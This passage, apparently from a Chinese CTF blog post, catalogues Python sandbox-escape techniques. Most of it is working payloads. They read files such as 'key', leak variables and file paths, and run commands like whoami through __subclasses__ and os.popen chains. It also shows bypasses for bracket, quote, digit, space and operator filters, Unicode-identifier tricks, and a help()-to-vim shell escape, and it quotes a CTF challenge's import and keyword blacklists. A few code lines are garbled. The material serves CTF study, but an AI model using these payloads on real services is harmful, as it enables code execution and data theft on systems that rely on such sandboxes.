>>> __builtins__.open('key').read()
'Macr0phag3\n'
LIVECODESERVER

或者

>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'
GCODE

敏感信息泄露

这个也算只能读吧。

  1. dir()
  2. __import__("__main__").x,其中 main 还会泄露脚本的绝对路径:<module '__main__' from 'xxx.py'>
  3. __file__,文件绝对路径
  4. x.__dict__
  5. locals()
  6. globals()
  7. vars()
  8. sys._getframe(0).f_code.co_varnames
  9. sys._getframe(0).f_locals
  10. inspect.x,inspect 有很多方法可以获取信息,比如获取源码可以用 inspect.getsource,还有其他很多的功能

这有一篇不错的文章,推荐阅读:

https://www.cnblogs.com/dechinphy/p/modify-locals.html

其他

这些行为不像是 oj 会做得出来的,ctf 倒是有可能出现。

过滤 [ ]

应对的方式就是将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)):

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'macr0phag3\n'
STYLUS

当然,dict 也是可以 pop 的:{"a": 1}.pop("a")

当然也可以用 next(iter()) 替代,或许可以加上 max 之类的玩意。

过滤引号

chr

最简单就是用 chr

os.system(
chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)
)
SCSS

扣字符

利用 str[],挨个把字符拼接出来

os.system(
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(()a)[10]+str(().__class__.__new__)[3]
)
SCSS

当然 [] 如果被过滤了也可以 bypass,前面说过了。

如果 str 被过滤了怎么办呢?type('')()format() 即可。同理,intlist 都可以用 type 构造出来。

格式化字符串

那过滤了引号,格式化字符串还能用吗?

(chr(37)+str({}.__class__)[1])%100 == 'd'

又起飞了…

dict() 拿键它不香吗?

'whoami' ==
list(dict(whoami=1))[0] ==
str(dict(whoami=1))[2:8] ==a
PYTHON

限制数字

上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:

  1. 0:int(bool([]))Flaselen([])any(())
  2. 1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())
  3. 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
  4. 1.0:float(True)
  5. -1:~0

其实有了 0 就可以了,要啥整数直接做运算即可:

0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...
PYTHON

任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意…

限制空格

空格通常来说可以通过 ()[] 替换掉。例如:

[i for i in range(10) if i == 5] 可以替换为 [[i][0]for(i)in(range(10))if(i)==5]

限制运算符

> < ! - + 这几个比较简单就不说了。

== 可以用 in 来替换。

替换 or 的测试代码

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)
PY

上面这几个表达式都可以替换掉 or

替换 and 的测试代码

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)
PY

上面这几个表达式都可以替换掉 and

限制 ( )

这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:

  • 利用装饰器 @
  • 利用魔术方法,例如 enum.EnumMeta.__getitem__

利用这两种姿势,我在《OrangeKiller CTF 第 2 期》中出了 2 道题目,题解篇写的很详细,移步去看吧:传送门

利用新特性

PEP 498 引入了 f-string,在 3.6 开始出现:传送门🚪,食用方式:传送门🚪。所以我们就有了一种船新的利用方式:

>>> f'{__import__("os").system("whoami")}'
macr0phag3
'0'
PYTHON

关注每次版本增加的新特性,或许能淘到点宝贝。

利用反序列化攻击

反序列化攻击也是能用来逃逸,但是关于反序列化攻击的安全问题还挺多的,见这篇文章,见:传送门🚪

🌰

这个例子来自iscc 2016Pwn300 pycalc,相当有趣:

#!/usr/bin/env python2
# -*- coding:utf-8 -*-


def banner():
print "============================================="
print " Simple calculator implemented by python "
print "============================================="
return


def getexp():
return raw_input(">>> ")


def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)


def sandbox_filter(command):
blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
'=', 'open', 'read', 'sys', ';', 'os']
for forbid in blacklist:
if forbid in command:
return 0
return 1


def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
if sandbox_filter(command) == 0:
print 'Malicious user input detected!!!'
exit(0)
command = 'result = ' + command
try:
exec command in _global # do calculate in a sandboxed environment
except Exception, e:
print e
return 0
result = _global['result'] # extract the result
return result


banner()
while 1:
command = getexp()
print sandbox_exec(command)
PYTHON

exec command in _global 这一句就把很多 payload 干掉了,由于 exec 运行在自定义的全局命名空间里,这时候会处于restricted execution mode,这里不赘述了,感兴趣可以看这篇文章:传送门🚪。exec 加上定制的 globals 会使得沙箱安全很多,一些常规的 payload 是没法使用的,例如:

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode
DELPHI

不过也正是由于 exec 运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__,比如 types 库,来执行任意命令:

>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
macr0phag3
LISP

极端限制

这种限制一般是组合形式出现,而且通常只会出现在 CTF 中。

限制输入字符的集合的大小

思路就是先确定不得不用到的字符,再看这些字符能够拼出哪些函数或者常量。

在《OrangeKiller CTF 第 2 期》中出了 3 道题目与此相关,移步去看吧:传送门

限制不能使用 [a-zA-Z] 的字符

我在 《从一个绕过长度限制的 XSS 中,我们能学到什么?》 中提到过,Python3 支持了 Unicode 变量名且解释器在做代码解析的时候,会对变量名进行规范化,算法是 NFKC

所以在这种情况下可以用这种姿势:

eval == ᵉval
PYTHON

socket + 严格的输入限制

可以看看是否漏掉了 help,漏掉的话,先通过 help() 调起 vi/vim,然后用 ! 指令即可 getshell :)

参考:https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/#%E9%80%9A%E8%BF%87%E7%BB%A7%E6%89%BF%E5%85%B3%E7%B3%BB%E9%80%83%E9%80%B8